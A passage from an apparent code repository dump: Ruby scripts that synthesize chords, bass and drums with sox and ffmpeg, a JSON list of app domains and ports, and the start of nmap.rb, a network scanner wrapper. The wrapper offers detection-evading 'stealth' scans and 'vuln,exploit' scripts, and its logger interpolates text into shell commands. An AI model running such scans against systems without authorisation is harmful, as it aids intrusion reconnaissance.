\"moog_raw_#{i}.wav\")\n\nend\n\ndef synth_strings(i, freq, gain, duration)\n  detune1 = freq * 1.0012\n\n  detune2 = freq * 1.0023\n\n  sox(\"-n saw1_#{i}.wav synth #{duration} sawtooth #{freq} fade h 0.5 #{duration} 2 gain #{gain}\")\n\n  sox(\"-n saw2_#{i}.wav synth #{duration} sawtooth #{detune1} fade h 0.5 #{duration} 2 gain #{gain - 1}\")\n\n  sox(\"-n saw3_#{i}.wav synth #{duration} sawtooth #{detune2} fade h 0.5 #{duration} 2 gain #{gain - 2}\")\n\n  sox(\"-m saw1_#{i}.wav saw2_#{i}.wav saw3_#{i}.wav strings_raw_#{i}.wav\")\n\n  sox(\"strings_raw_#{i}.wav strings_chorus_#{i}.wav lowpass 3000 chorus 0.7 0.9 55 0.5 2 -t\")\n\n  sox(\"strings_chorus_#{i}.wav voice_#{i}.wav overdrive 3\")\n\n  cleanup(\"saw1_#{i}.wav\", \"saw2_#{i}.wav\", \"saw3_#{i}.wav\", \"strings_raw_#{i}.wav\", \"strings_chorus_#{i}.wav\")\n\nend\n\ndef synth_ambient(i, freq, gain, duration)\n  detune = freq * 1.0006\n\n  sox(\"-n sine#{i}.wav synth #{duration} sine #{freq} fade h 5 #{duration} 6 gain #{gain}\")\n\n  sox(\"-n saw#{i}.wav synth #{duration} sawtooth #{detune} fade h 5 #{duration} 6 gain #{gain - 8}\")\n\n  sox(\"-m sine#{i}.wav saw#{i}.wav voice_#{i}.wav highpass 80\")\n\n  cleanup(\"sine#{i}.wav\", \"saw#{i}.wav\")\n\nend\n\ndef synth_oberheim(i, freq, gain, duration)\n  detune = freq * 1.0046\n\n  sox(\"-n saw1_#{i}.wav synth #{duration} sawtooth #{freq} fade h 1.5 #{duration} 3.5 gain #{gain}\")\n\n  sox(\"-n saw2_#{i}.wav synth #{duration} sawtooth #{detune} fade h 1.5 #{duration} 3.5 gain #{gain - 2}\")\n\n  sox(\"-m saw1_#{i}.wav saw2_#{i}.wav ob_raw_#{i}.wav\")\n\n  sox(\"ob_raw_#{i}.wav voice_#{i}.wav lowpass 1500 chorus 0.7 0.85 48 0.5 2 -t\")\n\n  cleanup(\"saw1_#{i}.wav\", \"saw2_#{i}.wav\", \"ob_raw_#{i}.wav\")\n\nend\n\ndef generate_chord(freqs, duration, instrument)\n  freqs.each_with_index do |freq, i|\n\n    case instrument\n\n    when \"rhodes\" then synth_rhodes(i, freq, -10, duration)\n\n    when \"fm\" then synth_fm(i, freq, -10, duration)\n\n    when \"cs80\" then synth_cs80(i, freq, -10, duration)\n\n    when \"minimoog\" then synth_minimoog(i, freq, -10, duration)\n\n    when \"strings\" then synth_strings(i, freq, -10, duration)\n\n    when \"ambient\" then synth_ambient(i, freq, -10, duration)\n\n    when \"oberheim\" then synth_oberheim(i, freq, -10, duration)\n\n    else synth_fm(i, freq, -10, duration)\n\n    end\n\n  end\n\n  voices = freqs.size.times.map { |i| \"voice_#{i}.wav\" }\n  sox(\"-m #{voices.join(' ')} chord_out.wav gain -n\")\n\n  cleanup(*voices)\n\n  \"chord_out.wav\"\n\nend\n\ndef generate_bass(root_freq, duration)\n  sub = root_freq / 2\n\n  sox(\"-n bass_root.wav synth #{duration} sine #{root_freq} gain -8\")\n\n  sox(\"-n bass_sub.wav synth #{duration} sine #{sub} gain -6\")\n\n  sox(\"-m bass_root.wav bass_sub.wav bass_out.wav gain -n\")\n\n  cleanup(\"bass_root.wav\", \"bass_sub.wav\")\n\n  \"bass_out.wav\"\n\nend\n\ndef render_progression(prog_name, prog_data)\n  puts \"\ud83c\udfb9 #{prog_name}\"\n\n  chords = prog_data[\"chords\"]\n  freqs_list = prog_data[\"freqs\"]\n\n  dur = prog_data[\"duration\"] || 2.0\n\n  instrument = prog_data[\"instrument\"] || \"fm\"\n\n  return unless freqs_list\n  chord_files = []\n  bass_files = []\n\n  chords.zip(freqs_list).each_with_index do |(chord_name, freqs), idx|\n    chord_file = generate_chord(freqs, dur, instrument)\n\n    sox(\"#{chord_file} chord_#{idx}.wav\")\n\n    chord_files &lt;&lt; \"chord_#{idx}.wav\"\n\n    cleanup(chord_file)\n\n    bass_file = generate_bass(freqs[0], dur)\n    sox(\"#{bass_file} bass_#{idx}.wav\")\n\n    bass_files &lt;&lt; \"bass_#{idx}.wav\"\n\n    cleanup(bass_file)\n\n  end\n\n  sox(\"#{chord_files.join(' ')} #{chord_files.join(' ')} chords_raw.wav\")\n  sox(\"#{bass_files.join(' ')} #{bass_files.join(' ')} bass_raw.wav\")\n\n  cleanup(*chord_files, *bass_files)\n\n  system(\"mkdir -p chords bass 2&gt;/dev/null\")\n  sox(\"chords_raw.wav chords/#{prog_name}.wav gain -n -2\")\n\n  sox(\"bass_raw.wav bass/#{prog_name}.wav gain -n -2\")\n\n  cleanup(\"chords_raw.wav\", \"bass_raw.wav\")\n\n  puts \"   \u2192 chords/#{prog_name}.wav + bass/#{prog_name}.wav\"\nend\n\n# DRUM SYNTHESIS (from drums_fixed.rb)\n\n\ndef make_kick\n  sox(\"-n _kick.wav synth 0.16 sine 58 fade h 0.001 0.16 0.06 overdrive 10 gain -3\")\n\n  \"_kick.wav\"\n\nend\n\ndef make_snare\n  sox(\"-n _snare.wav synth 0.12 noise lowpass 4000 highpass 200 fade h 0.001 0.12 0.04 overdrive 8 gain -6\")\n\n  \"_snare.wav\"\n\nend\n\ndef make_hat_closed\n  sox(\"-n _hat.wav synth 0.06 noise highpass 7000 fade h 0.001 0.06 0.02 gain -12\")\n\n  \"_hat.wav\"\n\nend\n\ndef make_kick_909\n  sox(\"-n _kick909.wav synth 0.18 sine 65 fade h 0.001 0.18 0.08 overdrive 15 gain -1\")\n\n  \"_kick909.wav\"\n\nend\n\ndef generate_techno(tempo, bars)\n  beat_sec = 60.0 / tempo\n\n  bar_sec = beat_sec * 4\n\n  total_sec = bar_sec * bars\n\n  kick = make_kick_909\n  hat = make_hat_closed\n\n  kick_seq = []\n  bars.times do |bar|\n\n    4.times do |beat|\n\n      offset = bar * bar_sec + beat * beat_sec\n\n      sox(\"#{kick} _k#{bar}_#{beat}.wav pad #{offset} 0\")\n\n      kick_seq &lt;&lt; \"_k#{bar}_#{beat}.wav\"\n\n    end\n\n  end\n\n  hat_seq = []\n  bars.times do |bar|\n\n    16.times do |sixteenth|\n\n      offset = bar * bar_sec + sixteenth * (beat_sec / 4)\n\n      dyn = (sixteenth % 4 == 0) ? 0 : -6\n\n      sox(\"#{hat} _h#{bar}_#{sixteenth}.wav pad #{offset} 0 gain #{dyn}\")\n\n      hat_seq &lt;&lt; \"_h#{bar}_#{sixteenth}.wav\"\n\n    end\n\n  end\n\n  sox(\"-m #{kick_seq.join(' ')} _kicks.wav pad 0 #{total_sec}\")\n  sox(\"-m #{hat_seq.join(' ')} _hats.wav pad 0 #{total_sec}\")\n\n  sox(\"-m _kicks.wav _hats.wav drums/techno_intricate_#{tempo}bpm.wav gain -n -3\")\n\n  cleanup(*kick_seq, *hat_seq, \"_kicks.wav\", \"_hats.wav\", kick, hat)\n  puts \"\u2713 drums/techno_intricate_#{tempo}bpm.wav\"\n\nend\n\ndef generate_hiphop(tempo, swing_pct, bars)\n  beat_sec = 60.0 / tempo\n\n  bar_sec = beat_sec * 4\n\n  total_sec = bar_sec * bars\n\n  swing_factor = (swing_pct - 50) / 100.0\n\n  swing_offset = (beat_sec / 8) * swing_factor\n\n  kick = make_kick\n  snare = make_snare\n\n  hat = make_hat_closed\n\n  kick_seq = []\n  bars.times do |bar|\n\n    base = bar * bar_sec\n\n    sox(\"#{kick} _k#{bar}_0.wav pad #{base} 0\")\n\n    kick_seq &lt;&lt; \"_k#{bar}_0.wav\"\n\n    sox(\"#{kick} _k#{bar}_1.wav pad #{base + beat_sec + beat_sec/2 + swing_offset} 0 gain -2\")\n\n    kick_seq &lt;&lt; \"_k#{bar}_1.wav\"\n\n    sox(\"#{kick} _k#{bar}_2.wav pad #{base + beat_sec * 2} 0\")\n\n    kick_seq &lt;&lt; \"_k#{bar}_2.wav\"\n\n  end\n\n  snare_seq = []\n  bars.times do |bar|\n\n    base = bar * bar_sec\n\n    sox(\"#{snare} _s#{bar}_0.wav pad #{base + beat_sec} 0\")\n\n    snare_seq &lt;&lt; \"_s#{bar}_0.wav\"\n\n    sox(\"#{snare} _s#{bar}_1.wav pad #{base + beat_sec * 3} 0\")\n\n    snare_seq &lt;&lt; \"_s#{bar}_1.wav\"\n\n    [0.5, 1.5, 2.5, 3.5].each_with_index do |beat_pos, idx|\n      offset = base + beat_pos * beat_sec + (idx.odd? ? swing_offset : 0)\n\n      sox(\"#{snare} _sg#{bar}_#{idx}.wav pad #{offset} 0 gain -18\")\n\n      snare_seq &lt;&lt; \"_sg#{bar}_#{idx}.wav\"\n\n    end\n\n  end\n\n  hat_seq = []\n  bars.times do |bar|\n\n    base = bar * bar_sec\n\n    8.times do |eighth|\n\n      offset = base + eighth * (beat_sec / 2) + (eighth.odd? ? swing_offset : 0)\n\n      dyn = eighth.even? ? -3 : -6\n\n      sox(\"#{hat} _h#{bar}_#{eighth}.wav pad #{offset} 0 gain #{dyn}\")\n\n      hat_seq &lt;&lt; \"_h#{bar}_#{eighth}.wav\"\n\n    end\n\n  end\n\n  sox(\"-m #{kick_seq.join(' ')} _kicks.wav pad 0 #{total_sec}\")\n  sox(\"-m #{snare_seq.join(' ')} _snares.wav pad 0 #{total_sec}\")\n\n  sox(\"-m #{hat_seq.join(' ')} _hats.wav pad 0 #{total_sec}\")\n\n  sox(\"-m _kicks.wav _snares.wav _hats.wav drums/hiphop_intricate_#{tempo}bpm_#{swing_pct}swing.wav gain -n -3\")\n\n  cleanup(*kick_seq, *snare_seq, *hat_seq, \"_kicks.wav\", \"_snares.wav\", \"_hats.wav\", kick, snare, hat)\n  puts \"\u2713 drums/hiphop_intricate_#{tempo}bpm_#{swing_pct}swing.wav\"\n\nend\n\n# FINAL MIXING (MAXIMUM VARIETY - ROTATES THROUGH ALL DRUMS)\n\n\ndef create_final_mix(name, drum_file)\n  chord_file = \"chords/#{name}.wav\"\n\n  bass_file = \"bass/#{name}.wav\"\n\n  return unless File.exist?(chord_file) &amp;&amp; File.exist?(bass_file)\n  unless File.exist?(drum_file)\n    puts \"\u26a0 No drums for #{name} (#{drum_file} missing)\"\n\n    return\n\n  end\n\n  # Get chord duration to loop drums\n  chord_duration = `#{SOX} --info -D #{chord_file}`.strip.to_f\n\n  drum_duration = `#{SOX} --info -D #{drum_file}`.strip.to_f\n\n  drum_repeats = (chord_duration / drum_duration).ceil + 1\n\n  # Loop drums to match\n  sox(\"#{([drum_file] * drum_repeats).join(' ')} _drums_loop.wav trim 0 #{chord_duration}\")\n\n  # Extract drum name for output filename\n  drum_name = File.basename(drum_file, \".wav\").gsub(\"_intricate\", \"\")\n\n  # Final mix with mastering\n  sox(\"-m #{chord_file} #{bass_file} _drums_loop.wav final/#{name}_#{drum_name}.wav gain -n -2 compand 0.02,0.20 -60,-60,-30,-24,-20,-18,-4,-12,-2,-9,0,-6 -6 0 0.05 overdrive 5 reverb 18 10 equalizer 80 0.5q +2 equalizer 3000 1.2q +1.5 equalizer 10000 0.6q +1.5 gain -n -0.5\")\n\n  cleanup(\"_drums_loop.wav\")\n  puts \"\u2713 final/#{name}_#{drum_name}.wav\"\n\nend\n\n# MAIN ORCHESTRATION\n\n\nif __FILE__ == $0\n  puts \"\\n\" + (\"=\" * 70)\n\n  puts \"\ud83c\udfb9 J DILLA AUDIO GENERATOR - MASTER ORCHESTRATOR\"\n\n  puts \"=\" * 70\n\n  mode = ARGV[0] || \"--full\"\n\n  # Create directories\n  system(\"mkdir -p chords bass drums final 2&gt;/dev/null\")\n\n  # CHORDS &amp; BASS\n  unless mode == \"--drums-only\"\n\n    puts \"\\n\ud83d\udcca RENDERING CHORD PROGRESSIONS + BASS\"\n\n    puts \"-\" * 70\n\n    progressions_to_render = []\n    [\"neo_soul\", \"jazz\", \"funk_soul\"].each do |cat|\n      key = \"#{cat}_progressions\"\n\n      next unless DILLA_DATA[\"chords\"][key]\n\n      DILLA_DATA[\"chords\"][key].each do |name, data|\n\n        progressions_to_render &lt;&lt; [name, data] if data[\"freqs\"]\n\n      end\n\n    end\n\n    # Quick mode: only 5 progressions\n    progressions_to_render = progressions_to_render.first(5) if mode == \"--quick\"\n\n    progressions_to_render.each { |name, data| render_progression(name, data) }\n  end\n\n  # DRUMS\n  unless mode == \"--chords-only\"\n\n    puts \"\\n\ud83d\udcca RENDERING INTRICATE DRUMS\"\n\n    puts \"-\" * 70\n\n    if mode == \"--quick\"\n      generate_techno(130, 4)\n\n      generate_hiphop(92, 58, 4)\n\n    else\n\n      [128, 130, 135, 140].each { |t| generate_techno(t, 4) }\n\n      [[90, 58], [92, 58], [95, 62], [85, 54]].each { |t, s| generate_hiphop(t, s, 4) }\n\n    end\n\n  end\n\n  # FINAL MIXES - ROTATE THROUGH ALL DRUMS FOR MAXIMUM VARIETY\n  unless mode == \"--chords-only\" || mode == \"--drums-only\"\n\n    puts \"\\n\ud83d\udcca CREATING FINAL MIXES (ROTATING DRUMS FOR VARIETY)\"\n\n    puts \"-\" * 70\n\n    # Get all available drum files\n    drum_files = Dir.glob(\"drums/*.wav\").sort\n\n    if drum_files.empty?\n      puts \"\u26a0 No drum files found - skipping final mixes\"\n\n    else\n\n      puts \"   Using #{drum_files.size} drum patterns in rotation\"\n\n      chord_files = Dir.glob(\"chords/*.wav\").sort\n      drum_index = 0\n\n      chord_files.each do |path|\n        name = File.basename(path, \".wav\")\n\n        # Rotate through drum files\n        drum_file = drum_files[drum_index % drum_files.size]\n\n        create_final_mix(name, drum_file)\n\n        drum_index += 1\n      end\n\n    end\n\n  end\n\n  puts \"\\n\" + (\"=\" * 70)\n  puts \"\u2705 RENDER COMPLETE\"\n\n  puts \"=\" * 70\n\n  puts \"\\n\ud83d\udcc1 Outputs:\"\n\n  puts \"  chords/ - Chord progressions (#{Dir.glob('chords/*.wav').size} files)\"\n\n  puts \"  bass/   - Bass layers (#{Dir.glob('bass/*.wav').size} files)\"\n\n  puts \"  drums/  - Drum patterns (#{Dir.glob('drums/*.wav').size} files)\"\n\n  puts \"  final/  - Full mixes (#{Dir.glob('final/*.wav').size} files)\"\n\n  puts \"\"\n\nend\n\n```\n\n## `dilla/stems/manifest.json`\n```json\n{\n  \"active\": \"default\",\n  \"sets\": {\n    \"default\": {\n      \"dir\": \".\",\n      \"bpm\": 90,\n      \"source\": \"Sirkel Sag \u00b7 Voicemails\",\n      \"files\": [\n        \"sub_bass.mp3\",\n        \"bass.mp3\",\n        \"mids.mp3\",\n        \"highs_pluck.mp3\",\n        \"center.mp3\",\n        \"sides.mp3\"\n      ]\n    }\n  }\n}\n```\n\n## `dilla/techno_hate.rb`\n```ruby\n#!/usr/bin/env ruby\n# frozen_string_literal: true\n#\n# Hate techno \u2014 hard, dark, distorted. 142 BPM \u00d7 8 bars.\n# 4-on-the-floor saturated kick, acid-bass C-minor progression (i-iv-v),\n# industrial closed hats on offbeats, layered claps, hard limit.\n#\n# Usage:  ruby techno_hate.rb [out.mp3]   default: ./techno_hate.mp3\n\nDIR  = __dir__\nBPM  = 142\nBARS = 8\n\ndef run(label, *cmd)\n  puts \"&gt;&gt;&gt; #{label}\"\n  abort \"fail: #{label}\" unless system(*cmd.flatten.map(&amp;:to_s))\nend\n\ndef render(label, dest, inputs:, filter:, map:, args: [\"-b:a\", \"320k\"])\n  run label, \"ffmpeg\", \"-y\", *inputs,\n      \"-filter_complex\", filter.tr(\"\\n\", \" \"),\n      \"-map\", map, *args, dest\nend\n\ndef lavfi(src) = [\"-f\", \"lavfi\", \"-i\", src]\n\ndef synthesize(dest)\n  beat  = 60.0 / BPM\n  bar   = beat * 4\n  step  = beat / 4\n  total = (bar * BARS).round(3)\n\n  kick_per_bar = Array.new(BARS) { [0, 4, 8, 12] }\n  kick_per_bar[7] = [0, 4, 8, 12, 14, 15]\n\n  clap_per_bar = Array.new(BARS) { [4, 12] }\n  clap_per_bar[3] = [4, 12, 14]\n  clap_per_bar[7] = [4, 10, 12, 14]\n\n  hat_per_bar = Array.new(BARS) { [2, 6, 10, 14] }\n  hat_per_bar[3] = []\n  hat_per_bar[5] = [0, 2, 4, 6, 8, 10, 12, 14]\n\n  open_per_bar = Array.new(BARS) { [] }\n  open_per_bar[3] = [14]\n  open_per_bar[7] = [14]\n\n  acid_steps = [0, 3, 6, 8, 11, 14]\n  bass_notes = [65.41, 65.41, 87.31, 65.41, 98.00, 98.00, 87.31, 65.41]  # C C F C G G F C\n\n  kicks = BARS.times.flat_map { |b| kick_per_bar[b].map { |s| (b * bar + s * step).round(4) } }\n  claps = BARS.times.flat_map { |b| clap_per_bar[b].map { |s| (b * bar + s * step).round(4) } }\n  hats  = BARS.times.flat_map { |b| hat_per_bar[b].map  { |s| (b * bar + s * step).round(4) } }\n  opens = BARS.times.flat_map { |b| open_per_bar[b].map { |s| (b * bar + s * step).round(4) } }\n\n  acid_hits = BARS.times.flat_map do |b|\n    f = bass_notes[b]\n    acid_steps.map { |s| [(b * bar + s * step).round(4), f] }\n  end\n\n  kick_sig = kicks.map { |t| \"between(t,#{t},#{t + 0.18})*0.95*exp(-(t-#{t})*8)*sin(2*PI*(110*(t-#{t})-250*(t-#{t})*(t-#{t})))\" }.join(\"+\")\n  acid_sig = acid_hits.map { |(t, f)| \"between(t,#{t},#{t + 0.14})*0.6*exp(-(t-#{t})*9)*sin(2*PI*#{f}*(t-#{t}))\" }.join(\"+\")\n\n  clap_env = claps.flat_map { |t|\n    t1 = (t + 0.012).round(4)\n    t2 = (t + 0.024).round(4)\n    [\n      \"between(t,#{t},#{t + 0.04})*exp(-(t-#{t})*40)\",\n      \"between(t,#{t1},#{(t1 + 0.04).round(4)})*exp(-(t-#{t1})*50)\",\n      \"between(t,#{t2},#{(t2 + 0.05).round(4)})*exp(-(t-#{t2})*30)\",\n    ]\n  }.join(\"+\")\n\n  hat_env = hats.map  { |t| \"between(t,#{t},#{t + 0.04})*exp(-(t-#{t})*70)\" }.join(\"+\")\n  opn_env = opens.map { |t| \"between(t,#{t},#{t + 0.5})*exp(-(t-#{t})*10)\" }.join(\"+\")\n\n  inputs = [\n    *lavfi(\"aevalsrc='#{kick_sig}':d=#{total}:s=44100\"),\n    *lavfi(\"aevalsrc='#{acid_sig}':d=#{total}:s=44100\"),\n    *lavfi(\"anoisesrc=color=white:r=44100:amplitude=0.5:d=#{total}\"),\n  ]\n\n  filt = &lt;&lt;~F\n    [0:a]aformat=channel_layouts=stereo,equalizer=f=55:t=o:w=0.7:g=4,\n         aeval='tanh(val(0)*2.5)/tanh(2.5)|tanh(val(1)*2.5)/tanh(2.5)',\n         acompressor=threshold=-10dB:ratio=6:attack=1:release=40:makeup=3[kick];\n    [1:a]aformat=channel_layouts=stereo,\n         aeval='tanh(val(0)*3.5)/tanh(3.5)|tanh(val(1)*3.5)/tanh(3.5)',\n         equalizer=f=300:t=o:w=2:g=3,equalizer=f=1500:t=o:w=2:g=4,\n         lowpass=f=4000[acid];\n    [2:a]aformat=channel_layouts=stereo,asplit=3[nc][nh][no];\n    [nc]volume='(#{clap_env})*0.6':eval=frame,bandpass=f=1500:w=2000,\n        aecho=0.5:0.4:30|60:0.2|0.1[clap];\n    [nh]volume='(#{hat_env})*0.4':eval=frame,highpass=f=8000[hat];\n    [no]volume='(#{opn_env})*0.3':eval=frame,bandpass=f=7000:w=5000[open];\n    [kick][acid][clap][hat][open]amix=inputs=5:weights=1.4 1.0 0.7 0.5 0.4:duration=longest[drums];\n    [drums]highpass=f=30,acompressor=threshold=-14dB:ratio=8:attack=1:release=50:makeup=4[drums_comp];\n    [drums_comp]aeval='tanh(val(0)*2.0)/tanh(2.0)|tanh(val(1)*2.0)/tanh(2.0)'[drums_sat];\n    [drums_sat]equalizer=f=80:t=o:w=0.8:g=2,equalizer=f=8000:t=o:w=2:g=3[master_eq];\n    [master_eq]alimiter=level_in=1.0:level_out=0.99:limit=0.95:attack=2:release=20[out]\n  F\n\n  render \"techno hate (#{BPM} BPM \u00d7 #{BARS} bars \u2192 #{total}s)\", dest,\n    inputs: inputs, map: \"[out]\", filter: filt\nend\n\ndest = ARGV[0] || File.join(DIR, \"techno_hate.mp3\")\nsynthesize(dest)\nputs \"done -&gt; #{dest}\"\n```\n\n## `master.json`\n```json\n{\n  \"apps\": [\n    { \"name\": \"amber\",     \"domain\": \"amber.brgen.no\", \"port\": 61352 },\n    { \"name\": \"baibl\",     \"domain\": \"baibl.no\",       \"port\": 10007 },\n    { \"name\": \"blognet\",   \"domain\": \"blognet.no\",     \"port\": 10002 },\n    { \"name\": \"brgen\",     \"domain\": \"brgen.no\",       \"port\": 38182 },\n    { \"name\": \"bsdports\",  \"domain\": \"bsdports.org\",   \"port\": 47312 },\n    { \"name\": \"hjerterom\", \"domain\": \"hjerterom.no\",   \"port\": 38891 }\n  ]\n}\n```\n\n## `nmap.rb`\n```ruby\n#!/usr/bin/env ruby\n# frozen_string_literal: true\n# nmap.rb - Network security scanner with sensible defaults\n\n#\n\n# Installation:\n\n#   OpenBSD: `doas pkg_add nmap ruby--3.2; gem install ruby-nmap`\n\n#   Cygwin: `apt-cyg install nmap ruby ruby-devel; gem install ruby-nmap`\n\n#   Termux: `pkg install nmap ruby; gem install ruby-nmap`\n\n#\n\n# Usage: ruby nmap.rb [--help | --verbose | --lang=english|norwegian | --prompt]\n\n#   --help: Show this help message\n\n#   --verbose: Log debugging to syslog (OpenBSD) or stdout (Cygwin/Termux)\n\n#   --lang: Choose language (english or norwegian, default: english)\n\n#   --prompt: Prompt for severity and attack type (default: full scan)\n\n#\n\n# Notes:\n\n#   - Requires permission to scan target network\n\n#   - Test with 127.0.0.1 or scanme.nmap.org\n\n#   - Default scan: All ports, service/OS detection, vulnerabilities, aggressive\n\n#   - OpenBSD: Uses pledge/unveil, doas for privileged scans\n\n#   - Cygwin: Non-privileged scans, /cygdrive paths\n\n#   - Termux: Non-privileged scans, termux-toast for errors\n\n#\n\n# Example Output (English, default mode):\n\n#   Network security scanner\n\n#   Target (IP/hostname): 127.0.0.1\n\n#   Warning: Full scan detects vulnerabilities. Ensure permission to scan 127.0.0.1.\n\n#   Scanning 127.0.0.1\n\n#   Host: 127.0.0.1 (Up)\n\n#     Port: 22/tcp ssh OpenSSH 8.9\n\n#     Port: 80/tcp http Apache 2.4\n\n#     Vuln: http-vuln-cve2017-5638 CVE-2017-5638\n\n#   Scan completed in 10.2 seconds\n\n#\n\n# Example Output (Norwegian, verbose mode, --verbose --lang=norwegian):\n\n#   [DEBUG] Oct 06 18:00:00 nmap[1234]: validate.info: Validating target: 127.0.0.1\n\n#   [DEBUG] Oct 06 18:00:00 nmap[1234]: validate.info: Checking nmap...\n\n#   [DEBUG] Oct 06 18:00:00 nmap[1234]: validate.info: nmap found\n\n#   [DEBUG] Oct 06 18:00:00 nmap[1234]: validate.info: Checking doas...\n\n#   [DEBUG] Oct 06 18:00:00 nmap[1234]: validate.info: doas found\n\n#   Nettverkssikkerhetsskanner\n\n#   M\u00e5l (IP/vertsnavn): 127.0.0.1\n\n#   Advarsel: Full skanning oppdager s\u00e5rbarheter. S\u00f8rg for tillatelse til \u00e5 skanne 127.0.0.1.\n\n#   [DEBUG] Oct 06 18:00:00 nmap[1234]: setup.info: Created temp file: /tmp/nmap_12345.xml\n\n#   [DEBUG] Oct 06 18:00:00 nmap[1234]: setup.info: Full scan: SYN, all ports, service/OS, vuln scripts, fast\n\n#   [DEBUG] Oct 06 18:00:00 nmap[1234]: setup.info: nmap args: {\"output_xml\"=&gt;\"/tmp/nmap_12345.xml\", \"targets\"=&gt;\"127.0.0.1\", \"syn_scan\"=&gt;true, \"ports\"=&gt;\"1-65535\", \"service_scan\"=&gt;true, \"os_fingerprint\"=&gt;true, \"script\"=&gt;\"vuln,exploit\", \"timing_template\"=&gt;4, \"version_intensity\"=&gt;9}\n\n#   Skanner 127.0.0.1\n\n#   [DEBUG] Oct 06 18:00:00 nmap[1234]: scan.info: Starting scan...\n\n#   [DEBUG] Oct 06 18:00:10 nmap[1234]: scan.info: Scan done in 10.2 seconds\n\n#   [DEBUG] Oct 06 18:00:10 nmap[1234]: parse.info: Parsing XML...\n\n#   [DEBUG] Oct 06 18:00:10 nmap[1234]: parse.info: Found 1 host\n\n#   [DEBUG] Oct 06 18:00:10 nmap[1234]: parse.info: Host: 127.0.0.1 (up)\n\n#   [DEBUG] Oct 06 18:00:10 nmap[1234]: parse.info: Open port: 22/tcp (ssh OpenSSH 8.9)\n\n#   [DEBUG] Oct 06 18:00:10 nmap[1234]: parse.info: Open port: 80/tcp (http Apache 2.4)\n\n#   [DEBUG] Oct 06 18:00:10 nmap[1234]: parse.info: Checking vulnerabilities...\n\n#   [DEBUG] Oct 06 18:00:10 nmap[1234]: parse.info: Vulnerabilities on port 80: http-vuln-cve2017-5638, CVE-2017-5638\n\n#   Vert: 127.0.0.1 (Oppe)\n\n#     Port: 22/tcp ssh OpenSSH 8.9\n\n#     Port: 80/tcp http Apache 2.4\n\n#     S\u00e5rbarhet: http-vuln-cve2017-5638 CVE-2017-5638\n\n#   Skanning fullf\u00f8rt p\u00e5 10.2 sekunder\n\n#   [DEBUG] Oct 06 18:00:10 nmap[1234]: cleanup.info: Cleaning up: /tmp/nmap_12345.xml\n\n#   [DEBUG] Oct 06 18:00:10 nmap[1234]: cleanup.info: Temp file removed\n\nrequire \"nmap/xml\"\nrequire \"tempfile\"\n\n# Lock script for security (OpenBSD only)\n# Why: Restricts access to files and network\n\nif RUBY_PLATFORM.include?(\"openbsd\")\n\n  begin\n\n    require \"pledge\"\n\n    pledge.promises(:stdio, :rpath, :wpath, :cpath, :proc, :exec, :inet)\n\n    require \"unveil\"\n\n    unveil(\"/tmp\", \"rwc\") # Temp file access\n\n    unveil(\"/usr/local/bin/nmap\", \"rx\") # nmap execution\n\n    unveil(\"/usr/local/bin/doas\", \"rx\") # doas execution\n\n  rescue LoadError\n\n  end\n\nend\n\n$verbose = ARGV.include?(\"--verbose\")\n$lang = ARGV.find { |arg| arg.start_with?(\"--lang=\") }&amp;.split(\"=\")&amp;.last || \"english\"\n\n$lang = $lang.downcase\n\n$prompt = ARGV.include?(\"--prompt\")\n\n# Log to syslog (OpenBSD) or stdout (Cygwin/Termux)\n# Why: Tracks actions for debugging\n\ndef log(message, facility = \"validate\", level = \"info\")\n\n  timestamp = Time.now.strftime(\"%b %d %H:%M:%S\")\n\n  hostname = `hostname`.chomp\n\n  pid = Process.pid\n\n  msg = \"#{timestamp} #{hostname} nmap[#{pid}]: #{facility}.#{level}: #{message}\"\n\n  if RUBY_PLATFORM.include?(\"openbsd\")\n\n    system(\"logger -t nmap \\\"#{msg}\\\"\")\n\n  else\n\n    puts \"[DEBUG] #{msg}\" if $verbose\n\n  end\n\n  system(\"termux-toast \\\"#{msg}\\\"\") if RUBY_PLATFORM.include?(\"linux\") &amp;&amp; `uname -o`.chomp == \"Android\" &amp;&amp; $verbose\n\nend\n\n# Translations for English and Norwegian\n# Why: Provides clear messages in chosen language\n\nTRANSLATIONS = {\n\n  \"english\" =&gt; {\n\n    title: \"Network security scanner\",\n\n    prompt_target: \"Target (IP/hostname)\",\n\n    no_target: \"Error: No target specified\",\n\n    invalid_target: \"Error: Invalid target format\",\n\n    severity_title: \"Severity levels\",\n\n    severity_low: \"Low: Basic port scan (100 ports, slow)\",\n\n    severity_medium: \"Medium: Service detection (1000 ports)\",\n\n    severity_high: \"High: OS detection, default scripts\",\n\n    severity_critical: \"Critical: Vulnerability/exploit detection\",\n\n    prompt_severity: \"Severity [Low/Medium/High/Critical]\",\n\n    invalid_severity: \"Error: Invalid severity\",\n\n    attack_title: \"Attack types\",\n\n    attack_normal: \"Normal: Standard scan\",\n\n    attack_stealth: \"Stealth: Slow, evades detection\",\n\n    attack_aggressive: \"Aggressive: Fast, maximum information\",\n\n    prompt_attack: \"Attack type [Normal/Stealth/Aggressive]\",\n\n    invalid_attack: \"Error: Invalid attack type\",\n\n    scanning: -&gt;(target) { \"Scanning #{target}\" },\n\n    scanning_with: -&gt;(target, severity, attack_type) { \"Scanning #{target} (Severity: #{severity}, Type: #{attack_type})\" },\n\n    warning_critical: -&gt;(target) { \"Warning: Full scan detects vulnerabilities. Ensure permission to scan #{target}.\" },\n\n    no_hosts: \"No hosts found\",\n\n    host: -&gt;(ip, status) { \"Host: #{ip} (#{status})\" },\n\n    port: -&gt;(number, protocol, service, version) { \"  Port: #{number}/#{protocol} #{service}#{version}\" },\n\n    vuln: -&gt;(id, cves) { \"  Vuln: #{id} #{cves}\" },\n\n    scan_completed: -&gt;(duration) { \"Scan completed in #{duration} seconds\" },\n\n    no_nmap: \"Error: nmap not found. Install it (OpenBSD: doas pkg_add nmap; Cygwin: apt-cyg install nmap; Termux: pkg install nmap)\",\n\n    nmap_failed: -&gt;(msg) { \"Error: nmap failed: #{msg}\" },\n\n    unexpected_error: -&gt;(msg) { \"Error: Unexpected failure: #{msg}\" },\n\n    debug_validating_target: -&gt;(target) { \"Validating target: #{target}\" },\n\n    debug_nmap_check: \"Checking nmap...\",\n\n    debug_nmap_found: \"nmap found\",\n\n    debug_doas_check: \"Checking doas...\",\n\n    debug_doas_found: \"doas found\",\n\n    debug_doas_missing: \"doas not found; full scan may be limited\",\n\n    debug_temp_file: -&gt;(path) { \"Created temp file: #{path}\" },\n\n    debug_severity_low: \"Low severity: SYN scan, top 100 ports, slow\",\n\n    debug_severity_medium: \"Medium severity: SYN scan, service detection, top 1000 ports, fast\",\n\n    debug_severity_high: \"High severity: SYN scan, service/OS detection, default scripts, faster\",\n\n    debug_severity_critical: \"Full scan: SYN, all ports, service/OS, 